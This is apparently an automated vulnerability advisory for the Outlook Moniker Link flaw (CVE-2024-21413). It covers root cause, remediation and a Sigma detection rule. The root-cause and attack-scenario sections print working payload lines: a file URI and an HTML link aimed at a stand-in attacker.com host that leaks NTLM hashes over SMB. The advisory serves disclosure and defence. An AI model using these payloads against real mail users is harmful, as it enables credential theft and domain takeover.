# [CVE-2024-21413] Microsoft Outlook Moniker Link Remote Code Execution (#MonikerLink)
**Severity:** CRITICAL | **CVSS Base Score:** 9.8 (3.1)
**CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
**EPSS Exploit Probability:** 96.20% (Percentile: 99.30%)
**CISA KEV (In The Wild):** YES (Due: Thu Mar 28 2024 00:00:00 GMT+0000 (Coordinated Universal Time))
**Known Ransomware Campaigns:** None documented
**Exploit Status:** active_wild
**Published:** 2024-02-13 | **Updated:** 2026-10-28

## Executive Summary
Critical remote code execution vulnerability in Microsoft Outlook allowing NTLM hash leakage and remote code execution via preview pane click.

## Common Weakness Enumeration (CWE)
- **CWE-94**: Improper Control of Generation of Code ('Code Injection')
- **CWE-200**: Exposure of Sensitive Information to an Unauthorized Actor

## Affected Vendors & Products
- **Vendor:** Microsoft | **Product:** Microsoft 365 Apps for Enterprise
  - **Affected Versions:** Versions prior to February 2024 Patch Tuesday
  - **Patched Version:** February 2024 Security Updates (Build 16.0.17231.20236)

- **Vendor:** Microsoft | **Product:** Microsoft Office 2016 / 2019 / LTSC 2021
  - **Affected Versions:** All unsupported/unpatched versions
  - **Patched Version:** KB5002564 / KB5002565

## Technical Root Cause Analysis (AI Defense Agent)
Outlook sanitizes hyperlinks before launching the operating system handler. However, by appending `!x` to an SMB URI (`file:///\\attacker.com\share\doc.rtf!anything`), Outlook interprets the link as a composite moniker, bypassing its URL parsing security checks and invoking `MkParseDisplayName` directly.

## Exploitation Mechanism & Attack Scenario
Attacker sends an email containing an HTML element `<a href="file:///\\attacker.com\share!test">Review Document</a>`. As soon as the victim clicks the link, Outlook reaches out to attacker.com over SMB (port 445), releasing the victim's NetNTLMv2 hash, which the attacker captures using Responder for cracking or relaying.

## Enterprise Blast Radius
Immediate domain credential theft, NTLM relaying to Active Directory Certificate Services (AD CS), leading to full domain takeover.

## Remediation & Mitigation Playbook
1. Deploy the February 2024 Microsoft Office updates across all workstations.
2. Block outbound SMB (TCP port 445) at enterprise perimeter firewalls to prevent NTLM leaks to external IP addresses.
3. Enable EPA (Extended Protection for Authentication) and restrict NTLM usage across the domain in favor of Kerberos.

## Detection Guidance & Telemetry
Monitor outbound firewall logs for outbound TCP port 445 traffic from endpoint client subnets to unknown external IP addresses.

### Sigma Detection Rule
```yaml
title: Outlook Suspicious Moniker Link Invocation
status: critical
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\OUTLOOK.EXE'
    CommandLine|contains: 'file:///'
  condition: selection
```


## References
- [Check Point Research: Moniker Link Discovery](https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-cve-2024-21413/) (advisory)
- [Microsoft Security Update Guide](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413) (patch)